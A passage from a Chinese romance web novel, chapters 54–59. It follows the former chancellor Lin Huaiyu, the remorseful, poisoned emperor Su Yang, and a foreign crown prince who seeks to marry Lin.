德福望着林怀玉的背影,叹了口气。 清晨的灵山寺云雾缭绕,仿佛真的处于仙境之地。 林怀玉同林飞上了山,住持见他来,将人引到了禅房:“你的毒解了?” 林怀玉点了点头,复摇头:“尚未痊愈,还要调养。” 住持松了口气,这么多年悬的心终于放下了:“能解就好。” 林怀玉问他:“梵尘有消息了吗?” 住持摇了摇头:“还是没有。” 林怀玉皱起了眉头:“他不会出事了吧?” 住持沉吟了好一会儿,道:“我派了人去寻他,应该不日就会有消息了。” 林怀玉颔首,他坐了下来,住持替他把了把脉:“毒素尚未清完,不过确实比之前好多了,你是做到了灵祭族的人吗?” 林怀玉道:“找到了。” “难怪。”住持收回了手。 林怀玉又问他:“陛下的事,给梵尘去信了吗?” 住持点头:“写了,只是不确定他如今还能不能收到。” “无妨。”林怀玉在灵山寺待了许久。 一个小和尚找了过来,双手合十对住持道:“住持,陛下来了。” 住持看了林怀玉一眼,问他:“要见他吗?” 林怀玉的眸光落在棋盘上,正与住持对弈,这会儿似乎在想下一步棋落在哪里。 住持懂了林怀玉的意思:“那老衲去打发了他。” 等住持离开后,林怀玉落下子,起身走到了院子里,山上没有城里那么热,他站在树下,那带着清凉的风吹起他的衣袍,任谁见了都会以为是月下谪仙。 林怀玉对林飞道:“再加点人去找梵尘吧。” 林飞得了令,便暂时离开了灵山寺。 林怀玉一个人站在院子里,望着那颗参天古树好半晌。 “你真的在这里。”宿泱的声音在林怀玉的身后响起。 还有住持:“陛下不可擅闯禅堂啊……” 林怀玉转身回望,宿泱这会儿的脸色比起之前记忆缺失的时候要差很多,苍白的面容和没什么血色的唇,如今才是一副中了毒的模样。 林怀玉看着他,淡淡道:“陛下怎么来这里了?” 宿泱想靠近林怀玉,却又不敢离得太近,林怀玉这会儿淡漠的神色拒人于千里之外,包括他。 他只能远远道:“醒来没看见老师,怕老师……又消失了。” 林怀玉神色漠然,他收回了目光,不去看宿泱:“既然见到了,陛下也可以放心了。” 宿泱摇了摇头:“朕不是那个意思,朕只是怕老师丢下朕,并非要禁锢老师的自由。” 林怀玉只是淡淡地应了一声,转身就准备回禅房去。 宿泱见状,连忙上前,却只敢拉住林怀玉的衣袖:“老师,我很后悔。” 林怀玉步子一顿,眉头微挑:“后悔什么?” 宿泱片刻,道:“我后悔那天在御花园,不该一时冲动。” 林怀玉闻言,嗤笑了一声:“你以为你错的只是这一件事吗?” 宿泱摇头:“我知道我一步错步步错,老师,我们真的回不去了吗?” 林怀玉重新看向宿泱,问他:“我记得之前好像是你自己说的,不想同我做师徒,也不想只有这一层关系,怎么现在又要回去了?” 宿泱连忙道:“我对老师的心意……并无后悔,只是我如今知道我不该那般只顾自己的心意,折辱老师,连老师的身体都不顾……” 林怀玉冷着脸打断了他的话:“现在说这些毫无意义。” 宿泱的话被堵了回去,一时无言,眼看着林怀玉又要走,他捂着脑袋,拉住林怀玉:“老师……我好疼……” 林怀玉望着他,抿唇道:“疼一些才更令人清醒。” 宿泱扯着林怀玉的衣袖,定定地望着对方,良久,他的手被林怀玉甩开,他只能虚握了一下空气,不敢再将那人攥住。 他望着林怀玉离去的背影,在原地驻足许久。 直到林怀玉关上了禅房的门,再也看不到身影,宿泱才皱紧了眉头,又吐出一口鲜血来。 林怀玉是真的不在乎他了。 第55章 第 55 章 我不该对老师有非分之想…… 转眼, 风带上了微凉的感觉,夏日的炎热即将被秋日的凉风替代。 “陛下,赵大人求见。”德福站在御书房, 毕恭毕敬地伺候着林怀玉。 这些时日,陛下也不知道怎么了, 突然发了狠地处理起朝政来, 事无巨细,就连从前一些不看的繁琐小事都亲自看了起来。 那些个大臣看到自己的奏折上写的“自家门口的乞丐整日用石子砸他家的门”这种小事还被陛下批注, 也不知道会是个什么表情。 八成以后可不敢在奏折上胡乱写东西了。 宿泱眸光都没抬,只道:“让他进来。” “是。”德福应了一声,出了门去请赵襄宜。 赵襄宜一进御书房, 便看见批奏折的宿泱, 他行礼道:“参见陛下。” 宿泱这才抬起头来:“什么事?” 赵襄宜道:“中元节将至,皇陵祭祖一事也该操办起来了, 陛下心中可有人选?” 宿泱闻言,眸光一顿。 去年他没心思理这些事, 中元节的祭祖被他搁置, 前年还是林怀玉一手操办。 他看着赵襄宜, 良久, 问:“赵爱卿可有举荐的人?” 赵襄宜道:“按理来说此事应当有礼部操办, 但礼部尚书前些日子重病告了假,如今礼部怕是没有能够担此重任的人。” 宿泱冷笑了一声:“礼部没有, 那就从你们翰林院出,翰林院学士众多, 连个能遵循礼制的人都没有吗?” 赵襄宜道:“臣心中倒有个人选,方知许方大人曾主理水患一事,做的很是漂亮, 祭祖一事不妨也交给他来办,陛下觉得呢?” 宿泱眉头一挑,倒是同意了:“准了。” “那微臣替方大人谢陛下隆恩。”赵襄宜叩谢圣恩,便领了旨意出宫。 德福送赵襄宜出宫,路上,赵襄宜问德福:“德福公公,陛下这些时日是怎么了吗?” 德福揣着明白装糊涂:“赵大人这是何意啊?” 赵襄宜浅笑着道:“不少大人战战兢兢,同本官说陛下在他们胡乱写的奏折上竟然还批注了,臣等惶恐啊,德福公公,陛下究竟是怎么了?” 德福轻叹了一声:“也没怎么,陛下不过是……勤于朝政。” 赵襄宜点头:“本官自然明白,但……德福公公,明人不说暗话,前阵子林大人的事沸沸扬扬,如今陛下又一反常态,本官斗胆猜测,此事是不是与林大人有关?” 德福但笑:“陛下勤政不是好事吗?赵大人何必如此忧心?” 赵襄宜道:“是好事,可是未免……过满了。” 德福道:“赵大人与其关心这个,不如让大臣们别敷衍奏折了。” 赵襄宜见套不出什么话来,只好点头:“本官知道了。” 德福望着赵襄宜离去的背影,又是一叹。 陛下勤政倒是没什么,可陛下中了毒,一边疼一边吐血,一边还要处理政务,这就很不对劲了。 陛下自从从灵山寺回来之后,整个人都变了,也不是意志消沉,也没有偏执阴鸷,但就是哪里不对劲。 好像出了朝政,旁的一句话也不愿意多说,脸上也没了多的表情。 德福摇了摇头,颇为无奈。 可解铃还须系铃人啊,系铃人又不肯解,分明是个死结。 德福回到御书房,脸色一变,连忙又喊人去请周掌院。 宿泱一手按着自己的头,鲜血又染红了苍白的唇,书案上都是赤色。 他抬头看向门外,目光越过德福,喃喃道:“原来这就是当初他的感受吗?” 林怀玉那时候中了毒,时常咳血,身子骨弱,膝盖也不好,他那时候应该心疼林怀玉,照顾林怀玉,可他却为了自己的占有欲,折辱对方,伤害对方。 林怀玉那时候就是这样痛吗? 宿泱扯了扯嘴角:“这样的恨,要怎么弥补?” 德福在旁边听着宿泱的喃喃自语,也不知道该如何插嘴,个中滋味,他没办法和宿泱共同体会。 宿泱本也没指望德福给他出什么谋划什么策,他只能支颐着脑袋,由周历给他把脉。 只是周历也不会解这个毒,他体内的毒相互制衡,稍有不慎便可能在顷刻间要了他的命,周历不敢乱动。 宿泱趁着这会儿停下来的空隙,走到了御花园里,他边走边问:“德福,老师近日在做什么?” 德福连忙亦步亦趋地跟在宿泱身后,汇报道:“回陛下,林大人什么也没做,不是在灵山寺下棋听禅,就是在客栈里睡觉。” 宿泱应了一声,嘲弄道:“老师没了朕,倒是活的更自在舒心。” 他在御花园里漫无目的地走着,忽然想,若是他的生命里真的没有林怀玉,孤家寡人不过如此,林怀玉要他做一个明君,他也会是一个明君,林怀玉说天子便是孤独的,他以为他可以忍受这样的孤独。 可他发觉自己不能,他忽然有些庆幸,自己中了毒,若是一朝毒发,没有解药,他死了,林怀玉会不会为他伤心,为他流泪呢? “陛下。”暗卫忽然落在宿泱的身前。 宿泱看到他,眸光一凝:“是老师出什么事了吗?” 暗卫道:“没有,不过林大人去了丞相府。” 宿泱闻言,忽然眼前一亮。 什么孤家寡人,什么中毒身死,通通都被他在一瞬间抛开。 “德福,备马车。”. 林怀玉闲来无事,想着回丞相府看看,既然宅子没被收回去,他好歹住了那么久,那大概是他在京城的第一个家。 说是家也不像,但总归是有些感情的。 林怀玉站在院子里,目光转了一圈,这里什么都没变,院子里连灰尘都没有,虽然不像是住了人的样子,却也不像荒废的模样。 还真是有专人打扫着。 他走到了自己的书房,望着空空如也的书架和书案,指尖轻轻拂过。 他看了半晌,正要离开,一回头,却见宿泱立在门边,正凝视着他,也不知来了多久。 林怀玉看着他,道:“陛下来了怎么也不出个声。” 宿泱笑了笑,道:“怕打扰了老师的兴致。” 林怀玉淡淡道:“我能有什么兴致。” 宿泱眸光一黯,随即跟着林怀玉出了书房的门。 他只是跟着,除了一开始说了一句话,林怀玉不开口,他便没再说话。 林怀玉走到了自己的卧房,里面其实也什么都没有,故而床榻上的那件衣服显得格外明显。 林怀玉刚抬步走近,宿泱却脸色一变,抢在林怀玉前面将人挡住:“老师是打算重新搬回丞相府吗?” 林怀玉看着宿泱顾左右而言他的模样,眸光一凛:“让开。” 宿泱面色有些心虚,没让开,只道:“老师,一件衣服而已,我把它拿走吧。” 他说着,转身要去拿走那件衣服。 林怀玉抬手将人拉住,似笑非笑道:“一件衣服而已,陛下紧张什么?” 林怀玉扯开宿泱,抬步上前,手还没碰到那衣服,宿泱先道:“别碰。” 林怀玉倒是少见宿泱这般慌乱又心虚的模样,轻抬眉梢:“为何?” 宿泱只好咬着牙,无奈道:“脏。” 林怀玉看着宿泱这副不自然的模样,又扫了一眼床榻上的衣服,看不出来什么,但林怀玉心细如发,联想一下便知是什么原因了。 他一下就冷了脸,转身就走。 宿泱连忙跟了上去,攥住了林怀玉的衣袖:“老师……我错了。” 林怀玉停了步子,问:“陛下这次又错在何处?” 宿泱望着林怀玉,犹豫了一下,道:“我……是我不该对老师有非分之想。” 第56章 第 56 章 老师多骂我几句 微凉的风丝丝缕缕撩起院子里两个人的衣袍, 如同一副双人画卷。 宿泱只听见风拂过吹散了他一地破碎的自尊。 他对林怀玉从来都是非分之想,他所做的一切也不过是为了满足自己的私欲,他不该将天上人拖入泥潭, 违背那人的意愿,将人困在自己的牢笼里。 可他的声音里又带着无尽的颤抖, 他不想承认, 又不得不承认,林怀玉对他, 没有一点心思。 他松开了林怀玉的衣袖,与林怀玉退开一步,道:“从前万般都是我的错, 从今往后我绝不会越雷池一步, 老师,我只想和你回到从前, 你永远都是我的老师,不要不理我, 好吗?” 林怀玉看着宿泱, 他自然能听出对方话语中的不舍与绝望, 微风中带着一声他的轻叹, 他道:“听说你这几日把那些大臣吓得不轻。” 宿泱抬眸, 望着林怀玉,抑制着眼底的占有欲, 嘲弄般笑了笑:“他们自己上交的奏折尽写一些琐事,怪不着我。” 林怀玉浅笑着朝外走去:“赵襄宜没有替陛下将奏折筛选一下吗?” 宿泱道:“我闲来无事, 把奏折都看了一遍,与他无关。” 林怀玉回头看他:“为何闲来无事?” 宿泱张了张口,又哑了声, 他要如何和林怀玉解释,他是因为不想让自己得闲下来,满脑子都去想林怀玉。 他不是太闲,是怕自己闲。 宿泱沉默了好一会儿,林怀玉没听到宿泱的回答,转头看了一眼对方,只见那人垂着头,也不知在想什么。 林怀玉只好问:“马上就是中元,祭祖之事在筹备了吗?” 宿泱点头,这次倒是回的很快:“让方知许去做了。” 林怀玉点了点头:“方知许和赵襄宜都是难得的人才,日后都能辅佐你。” 宿泱没有说话,只是冷淡地应了一声。 他最想要辅佐他的人就在眼前,可那人不愿。 林怀玉又看了他好半天,忽然道:“小飞说住客栈银子快不够了,这丞相府既然空着,陛下可否让我借住一阵子?” 宿泱闻言,立刻抬眸,眼底竟有一丝雀跃,像是灰灭的火苗又重新燃起:“老师要住回丞相府?” 林怀玉浅笑:“陛下是不准吗?” 宿泱连忙道:“怎么会?!老师要搬回来住,我……我自然是高兴的,丞相府一直空置着,就是等着老师回来呢。” 林怀玉却摇了摇头:“等到你重新选择丞相人选,我会搬出去的。” “不用。”宿泱立刻接了话,“这里日后便是林府,不是丞相府。” 林怀玉眉头一挑:“这恐怕不合礼制。” 宿泱不以为意:“规矩是死的,人是活的,丞相府我可以再选再建,老师且安心住着。” 林怀玉无奈地摇了摇头:“方才还答应我要做个明君,如今又昏聩起来?” 宿泱神色一僵,解释道:“我没有昏聩,一个丞相府而已,也不曾牵累民生。” 林怀玉看了他一眼,没再说话。 第二日林怀玉便和林飞搬回了丞相府,宿泱的动作倒快,门口的牌匾已然换成了“林府”。 “我险些以为我走错了。”门口传来了方知许的声音。 他飞快地跑了进来,站在林怀玉面前:“听说先生搬了家,我特地来贺喜。” 林怀玉扫了他一眼:“两手空空来贺喜?” 方知许尴尬一笑:“我这不是……来得匆忙,明日给先生补上!” 林怀玉也没真想讨他的礼物,只道:“我知道你最近忙于政务,能来看我就已经很好了。” 方知许笑了笑:“先生你知道啊,那礼部的尚书大人重病休养,今年祭祖就落到我的头上了。” 林怀玉点头:“赵襄宜倒是挺器重你的。” 方知许看着林怀玉坐下,连忙跪在他旁边给林怀玉捶腿:“是啊,先生,你给我讲讲这祭祖有什么要注意的事吗?” 林怀玉喝了口林飞倒的茶:“也没什么特别的,陛下对亲情淡薄,皇室祖先没有他特别在意的,按照礼制办就好。” 方知许应了一声。 林怀玉被伺候得舒服,靠在躺椅上闭目小憩。 宿泱到的时候,看到的就是如此和谐的画面。 他刚走进,方知许看见他,正要出声,宿泱抬了抬手,示意他不要说话。 他走到了林怀玉的身后,指腹按在了林怀玉的太阳穴处,轻轻按压着。 林怀玉察觉到有人来,缓缓睁开了眼睛,身侧那一抹玄色让他瞬间便知身后之人。 “陛下怎么来了?今日不批阅奏折了?”林怀玉开口。 宿泱浅笑了一下:“老师别打趣我了。” 林怀玉道:“别成日往我这里跑,你们有你们的事要做。” 方知许应了一声,没放在心上。 宿泱眸光微黯,林怀玉还是不想见他。 林怀玉享受着三个人的服务,不知不觉就真睡了过去,等宿泱再把他叫醒已经快入夜了。 “老师,吃点东西吧。” 林怀玉看着宿泱忙前忙后的,问:“宫里没事吗?你怎么整日待在我这里?” 宿泱有些局促道:“没有整日……我回去过一趟了,而且,事情都处理完了。” 林怀玉眉梢轻扬:“这么乖?” 宿泱又一次听到林怀玉用“乖”这个字,距离上次林怀玉这样夸赞他,已经是他在东宫的时候了。 时隔多年,重新听到林怀玉夸赞他,竟觉得有些不真实。 他喉结一动,将饭碗递到林怀玉手里:“我以后会一直这么乖的,老师,别总赶我走。” 林怀玉垂了垂眸,没说答应也没说拒绝,只问:“头还疼吗?” 宿泱鼻尖一酸,道:“疼。” 他在林怀玉身边跪下,占据了方知许之前的位置,拉过林怀玉的手贴在自己的脸上:“很疼……” 林怀玉顺势轻轻推开宿泱的脸,像是甩了对方一巴掌,但他并未用力,只是低头,眼底带着点漠然:“你活该啊。” 宿泱忙不迭道:“是,是我活该,老师,你多骂我几句。” 林怀玉嗤笑了一声:“骂你,我嫌累,既然陛下头疼,还是早点回宫歇息吧。” 宿泱听着林怀玉的逐客令,也不敢多放肆,更不敢强留,道:“我看你吃完饭,我就回宫,行吗?” 林怀玉瞥了一眼手里的饭:“我是不喜欢喝药,又没有不喜欢吃饭,这也要看着我吃?” 宿泱点点头,执拗道:“老师这些年身子不好,身体也消瘦了很多,多吃一点,补补身子。” 林怀玉看着宿泱真心实意的模样,或许对方夹杂了一丝想要多留一会儿的私心,但想要他多吃点饭也是真的。 林怀玉便没再赶人。 晚膳是宿泱准备的,桌子上都是一些大补的膳食,还有一些药膳,御书房做的药膳并不难吃,林怀玉之前尝过太医院做的,没有比那个更难吃的了。 林怀玉尝了一口,在宿泱期待的目光中,吃完了对方盛的一整碗饭。 第57章 第 57 章 他的心又重新跳了起来 中元, 祭祀祭祖,万鬼自鬼门而出回到人间,寻找自己所留念之人, 护城河千盏灯,寺庙里长明灯, 只为引亡魂归途。 林怀玉站在护城河边, 望着整条河上飘荡着的灯,眸光中多了一丝冷冽。 他并未如其他人一样放灯, 只是静静地看了一会儿。 这世间没有他想要祭奠的人,也没有他所挂怀的人。 唯一一个,尚且活着。 他看了一会儿, 转身正要离开, 眼见方知许朝他走了过来,眼睛亮亮的:“先生!” 林怀玉只好收了回去的心思:“你怎么来了?” 方知许道:“皇陵祭祖结束了, 我没什么事就来逛逛,正好碰到了先生, 先生要放河灯吗?” 林怀玉摇了摇头:“我不放, 你若是想放便自己去吧。” 方知许父母健全, 也没有要悼念的人, 于是摇头:“那算了, 先生是准备回去了吗?” 林怀玉点头:“正要回去。” 方知许可不想就这么和林怀玉分别,他问:“先生用过晚膳了吗?” 林怀玉看了他一眼, 便猜出了对方的小心思:“你还不曾用膳?” 方知许狠狠点头:“是啊!我为了祭祖的事一直忙到现在,饭都没吃呢, 先生可愿陪学生去用个饭?” 林怀玉无奈地摇了摇头:“好吧。” 方知许挑了一家京都广受好评的酒楼,领着林怀玉进去坐下:“先生,这家酒楼可好吃了, 而且还有歌舞可看,今日若不是来得有些晚,平常都等不到位置的!” 他说完,看了一眼林怀玉,又觉得不对:“先生久居京都,应该比我更熟悉这里,是学生失言了。” 林怀玉不动声色地望了他一眼:“都知道了?” 方知许有些局促地笑了笑,前几天林丞相“死而复生”的事传的沸沸扬扬,他想不知道都难。 教导了自己一年的先生,摇身一变成了传闻中那个心狠手辣心机深沉的林丞相,他做了好一阵子的心理疏导,才接受了这个荒诞的事情,并且还装作没事似的出现在林怀玉面前。 其实林怀玉从来没有变,即便多了一重身份,方知许心中的林怀玉,始终是江南小镇那个温润如玉的谦谦君子。 林怀玉问:“所以,你想说什么?又或者想问什么?” 方知许笑了笑,道:“那我就……问了啊,先生究竟更喜欢京都,还是江南啊?” 林怀玉一愣,没成想对方竟然会问这个,他抿了口茶,道:“于我而言,在哪里并不重要。” “哦……”方知许讷讷道,“那……传闻您和陛下……陛下对您是……那种心思,您知道吗?” 林怀玉抬眸,瞥了方知许一眼。 方知许低下头,林怀玉没有表情的时候,还是很吓人的。 他正要换个话题,林怀玉先道:“我知道。” 方知许立刻抬头:“那您……您假死脱身真的是因为想要远离陛下?” 林怀玉笑了笑:“算是吧。” 方知许又问:“那既然您不喜欢陛下,为什么又回来?” 林怀玉道:“我与陛下之间纠葛太多,此次回来是为了陛下身上的毒,毕竟他的毒是因为我。” 方知许了然:“先生,我相信您。” 林怀玉看向他,问:“你信我什么?” 方知许道:“我信你不是什么奸佞小人,先生为国为民,谋略胆识无人能及。” 林怀玉轻笑:“那你可错了,传言属实,我就是一个心狠手辣心机深沉之人啊。” 方知许却十分认真地摇了摇头:“就算连先生您自己也这么说,可我相信自己的眼睛,从前京都无人替您说话,那么以后,学生来说。” 林怀玉眸光一动,他又浅笑着揉了揉方知许的脑袋:“我不会再入朝为官,那些流言蜚语于现在的我而言,已经无所谓了。” 方知许借机用脑袋蹭了蹭林怀玉的掌心,道:“不一样的,就算无所谓了,学生也要替先生洗一洗这千古骂名。” 林怀玉便没再说什么,京都人人都认定的一件事,非朝夕可改,也不是方知许一人之力能挽。 林怀玉陪着方知许用完晚膳,回到丞相府,门口却蜷着坐了一个人,那人一身玄色衣袍,隐匿在黑暗之中,若不是门口那一盏灯,恐怕都看不见他。 林怀玉走近,垂眸看他:“陛下怎么会在这儿?” 宿泱抬头,看着林怀玉,门口的那一盏光尽数落在林怀玉的身上,将那人打得发光,林怀玉的脸别样的柔和。 宿泱看着林怀玉,唇边轻轻扬起一个弧度:“宫里太冷清了,想找老师说说话。” 林怀玉还没开口,宿泱又委屈地说:“谁知道丞相府也一个人都没有,我不知道老师去了哪里,只能在门口等着。” 林怀玉嗤了一声:“你又不是进不去,非得在门口看门?” 宿泱道:“我只想老师回来能第一时间看到。” 林怀玉推门而入:“说吧,什么事?” 宿泱跟在林怀玉的身后,目光不曾移开:“没事,就是突然想见你。” 林怀玉停步转身:“只是这样?” 宿泱点点头。 林怀玉没好气道:“既然见到了,那就回去吧。” 宿泱一愣,随即失笑,这话他听了很多遍了,每次林怀玉见到他,便很快又下了逐客令。 林怀玉是真的不想见到他。 可他很想见林怀玉,很想很想,哪怕一句话也不说,就这么看着。 “别,”宿泱扯住林怀玉的衣袖,“别赶我走,至少今晚,我就待在院子里,可以吗?” 林怀玉不禁多看了宿泱两眼,随即问:“你在想你母妃?” 宿泱听到“母妃”两个字,眸光一冷:“谁要想她,她生下我,却只是拿我当做向上爬的工具,我想她做什么?” 林怀玉自然知道,否则也不会说宿泱亲情淡薄了,毕竟这人连亲情都未曾感受过。 他不再问,往里走,宿泱便也跟着他。 两个人走到了院子里,林怀玉头也没回:“别再跟着我了。” 宿泱步子一顿,确实没有再继续跟着林怀玉,只是脸上难掩落寞的神色。 他站在黑暗中,连灯光都没有照在他的身上,明明天还没冷,身上掠过的风却格外冰凉。 他站在原地,望着林怀玉离开的方向,也不知在想些什么。 没一会儿,林怀玉再度出现在他的视野里,他的眸光也随着对方的走近缓缓亮起。 直到那人走到桌边,将手里的东西放下,淡声问:“吃过饭了吗?没吃过就把这个吃了。” 宿泱突然觉得,自己的心又重新跳了起来。 第58章 第 58 章 想要林怀玉联姻 夜色如水, 带着微凉的风吹在身上,消了暑气,已经快入秋了。 宿泱立刻走到了桌子边, 将那碗端起来,里面是他最喜欢的酒酿圆子羹。 那是以前林怀玉给他做的, 他吃完觉得带着淡淡的甜味, 小小的一颗,很像林怀玉。 林怀玉把自己团起来, 和那小圆子似的。 他吃得很慢,仿佛这样就能多和林怀玉待一会儿,也能多看几眼林怀玉。 这次林怀玉倒是没说什么, 在躺椅上坐下, 望着宿泱:“现在能说说你为什么心情不好了吗?” 宿泱放下手里的碗,笑了笑:“也没什么, 说出来还有点矫情,这么多年我其实也没想过这事, 大概是因为这些年都有老师陪在我身边。” 他望着林怀玉, 眼底的柔情如水般溢出来:“老师曾说过, 要我做个孤家寡人, 我在试着做一个孤家寡人了, 老师,你想要的, 我都会去做的。” 林怀玉有些无奈:“你就听见个孤家寡人了?” 宿泱有些疑惑地抬眸:“老师这是什么意思?” 林怀玉头疼:“你这么聪明,这种事就这么糊涂?也不知你是装的, 还是真轴。” 宿泱总觉得,林怀玉这话有别的意思,他凑近林怀玉, 问:“学生愚钝,老师能说明白一些吗?” 林怀玉往宿泱脑袋上打了一下:“我要你做的不是什么孤家寡人,而是一位明君,虽说天子向来孤身一人,那也是因为,这世间你能信的,只有你一个人。” 宿泱被打了也不恼,反而觉得心里满满当当的,他笑着道:“我永远都相信老师。” 林怀玉不禁道:“你这般信我,就不怕我夺了你的江山?” 宿泱道:“老师不会,老师若是想要大雍江山,当初何必帮我,不如扶持一个好操控的人,更何况,老师既然不在乎名声,想要谋反不是易如反掌?” 林怀玉看了他一眼:“你知道,还信我?” 宿泱点头:“正因为我知道,我才信啊,老师不是贪图名利之人,老师心中只有百姓。” 林怀玉静静地望着他,问:“那你呢?你的心里,装着百姓了吗?” 宿泱道:“装了。” 林怀玉浅笑:“好啊。” 宿泱吃完了酒酿小圆子,也知道林怀玉必定又会将他赶走,他率先道:“我可不可以在这里待一晚上,老师别赶我走。” 林怀玉神色淡淡:“不行。” 宿泱眸光一黯,满眼的失落,还没说话,林怀玉又道:“我这里可没有陛下睡的地方。” 言下之意,倒也没有一口回绝。 既然有转圜的余地…… 宿泱眸如星辰,抬头道:“我就站在院子里,我不睡。” 林怀玉失笑:“陛下可是天子,怎么能在我这里站着呢?明日还要早朝,陛下岂不是要伤了身子?” 说起这个,宿泱身上的毒还没解,他也不清楚对方的身体状况究竟如何。 林怀玉无奈:“林飞。” 林飞应声跑了过来。 宿泱以为,林怀玉喊林飞是为了将他赶走,他垂了垂眸,准备抬步离开。 下一秒,却听见林怀玉对林飞道:“收拾一间卧房出来。” 林飞愣了一下,看了一眼宿泱,道:“是。” 宿泱内心狂喜,眸光颤动着,他望向林怀玉,问:“老师……同意我留在这里?” 林怀玉不以为然:“暂住一晚罢了,陛下随意。” 宿泱的唇角不自觉地提起来,早知道,之前在江南,他们可没有一个人能够在林怀玉的屋子里睡觉。 宿泱看着林怀玉,直到夜色渐深,林怀玉回房睡觉。 宿泱看着林怀玉关上房门,这才走到林怀玉给他准备的房间里去。 和空荡荡的丞相府不同,即便他也是同样一个人睡在屋子里,可莫名的,就觉得林怀玉就在身边。 而不像那时候,他一个人躺在林怀玉睡过的床榻上,一遍遍呢喃着林怀玉的名字,心里却是无尽的空荡。 整个丞相府毫无人气。 宿泱躺在床上,噙着笑闭上眼睛,钻心的头疼仿佛在此刻都不算什么了。 即便在丞相府住了一晚,宿泱也不敢如以前那般得寸进尺。 不过即便如此,他也很是满足了。 德福看着唇畔微掀的宿泱,步子也轻快了不少。 他跟着宿泱,讨好着问:“陛下近日春风得意,可是有什么好事?” 宿泱笑了笑:“没什么,老师让朕留宿了一夜。” 德福眨了眨眼,内心轻叹。 陛下如今十分卑微啊。 “对了,陛下,大兴那边说要派人来送今年的贡品。”德福提了一下这事。 宿泱点头:“朕知道了。” 德福又道:“大兴那边还提出,想要同大雍联姻。” 宿泱眉头一挑:“联姻?大雍可没有能同他们联姻的人。” 德福摇了摇头:“奴才也不太清楚。” 宿泱放下手里的奏折,眸光微沉:“无妨,让他们来,朕倒看看他们意欲何为。”. 眨眼快是入秋了,天气渐渐转凉,城门外今日十分热闹,原是大兴派了使臣进贡,带了许多珍宝而来。 “这大兴的使臣好美啊。” “哎,我听说大兴这次带了很多珍宝,大半可都是聘礼,说要同大雍联姻啊。” “真的假的?!大雍也没听说有公主啊?” “这年头,谁还用公主联姻啊,更何况,就不能是我们大雍娶他们大兴的公主吗?” “那怎么联姻?联姻也得是皇室中人吧?我们陛下可没有子嗣啊。难道……陛下娶他们大兴的人?” “也不是没有这个可能嘛。” 坊间传闻沸沸扬扬,景翡作为使臣,朝着皇宫而去。 他带着许多聘礼进了宫,面见大雍天子,温和有礼:“参见大雍陛下。” 宿泱坐在上位,睥睨着景翡,两人一如在江南之时,剑拔弩张,光是眼神交汇,便足以杀死万千兵马。 宿泱开口:“免礼,七皇子……哦,如今朕该称你一声太子殿下了。” 景翡笑意款款:“不敢当,我大兴此来大雍有两件事,一是带来今年的进贡,二是意与大雍联姻,结为秦晋之好。” 宿泱眸光忽沉,若是今日大兴的使臣来的是别人,他或许还不会沉了脸色,但来的是景翡,他知道景翡想要的是谁。 宿泱直视着景翡,缓缓开口:“我大雍并无能与大兴联姻之人,太子殿下若是想在大雍待上一阵,朕很是欢迎,但旁的,太子殿下便不要多想了。” 景翡自然听得出来宿泱话里的意思,他笑了笑,似乎有些无奈:“臣不要皇亲贵胄,臣只是想要一位大雍人人唾弃的前任丞相林怀玉。” 宿泱衣袖之下的手猛的收紧。 景翡却仿佛看不见宿泱阴沉的脸色,还在继续道:“臣记得林怀玉曾是陛下的老师,那不如就以帝师的身份,与臣联姻,一切礼数臣都会周到,必定让帝师大人风光到我大兴。” 第59章 第 59 章 跟我成婚 青葱绿叶微微染上一层黄, 犹如金色的日光照在树叶的叶尖,点缀了那一点生命的萧条。 林怀玉躺在躺椅上,望着院子里的树, 日光已不似夏日炎热,落在他的身上好似披了一层霞光。 林飞从外头匆匆进来:“先生!大事不好了!” 林怀玉气定神闲地望向他:“出何事了?” 林飞道:“先生知道大兴来的使臣是谁吗?” 林怀玉瞥了他一眼, 神色未变:“景翡。” 林飞定定地看着林怀玉, 眨了眨眼:“先生怎么知道?” 林怀玉道:“猜的。” 林飞笑了笑:“果然什么都瞒不过先生,那先生知道大兴太子此来, 一是进贡,第二件事是做什么吗?” 林怀玉淡淡道:“有什么话就直说。” 林飞应了一声:“景翡他跟陛下说,要你和他联姻!” 林怀玉:“……” 林飞看着林怀玉的反应, 问:“先生您好像一点也不惊讶?您知道他要跟您联姻?” 林怀玉摇头:“这倒不知, 陛下怎么说?” 林飞道:“陛下在朝上就沉了脸,直接就说了不可能, 但是大兴太子似乎没那么容易善罢甘休,说要在大雍待些时日。” 林怀玉轻叹:“随他闹吧, 他是内乱摆平闲来无事, 主意打到我的头上来了。” 林飞却不这么认为:“太子殿下公然求娶, 明知陛下喜欢你, 还这么做, 恐怕不只是闲来无事吧。” 林怀玉抬眸,望了林飞一眼:“你想说什么?” 林飞笑道:“太子殿下应该是真的喜欢您, 否则怎敢公然对抗陛下?” 林怀玉沉思了一会儿,才道:“我和他, 绝无可能。” 林飞不解:“为何?太子殿下看着温和有礼,待人不错,先生不喜欢他?” 林怀玉看着林飞, 笑着道:“我和他之间没有那些感情,你还小,没接触过,不懂。” 林飞抿了抿唇:“好吧,反正我只知道,我要和先生一直待在一处。” 林怀玉揉了揉林飞的脑袋,但笑不语。 两人正说着话,景翡从外面走了进来:“帝师大人,你果然在这。” 林怀玉也丝毫不惊讶景翡会来,甚至来得这么快:“林某可不是什么帝师了。” 景翡浅笑着走近:“先生不在意这些,我们也可以不联姻,与两国无关,我们私下成亲。” 林怀玉淡淡瞧他:“我何时说要同你成亲了?即便你让陛下下旨,我照样敢抗旨。” 景翡被林怀玉这样一口回绝,脸上的表情也没有变化,只道:“莫非,传言是真的,你当真喜欢大雍陛下。” 林怀玉不置可否:“我喜不喜欢他,和我们成不成亲,没有任何关系吧?” 景翡道:“是没有,但我是真喜欢你的。” 他说完,拍了拍手,门外涌入了不少大兴人,他们抬着好些箱子走了进来,齐刷刷放在院子里。 林怀玉不用看也知道都是些什么,他挑了挑眉,望着景翡,眼底没什么波澜。 景翡道:“这些药材都可以拿来给你补身子,日后我会将你的身子好好养回来。” 林怀玉却道:“我记得在江南的时候,已经同你说的很明白了,难不成你以为,我是因为你的身份,才不答应你吗?” 景翡摇头:“自然不是,但我总得为自己努力一二。” 林怀玉轻笑了一声:“不必了,我现在就可以告诉你,你什么努力都只会白费,不如放下。” 景翡却凑近他,道:“先生不必这么着急拒绝我,如果我说,我可以拿宿泱的命,换你心甘情愿同我成婚呢?” 林怀玉眉头一皱,他看着景翡,眼底浮现出少见的惑色:“你这是什么意思?” 景翡俯下身,在林怀玉耳边道:“我找到了先生一直在找的那个人。” 林怀玉眸光一凝。 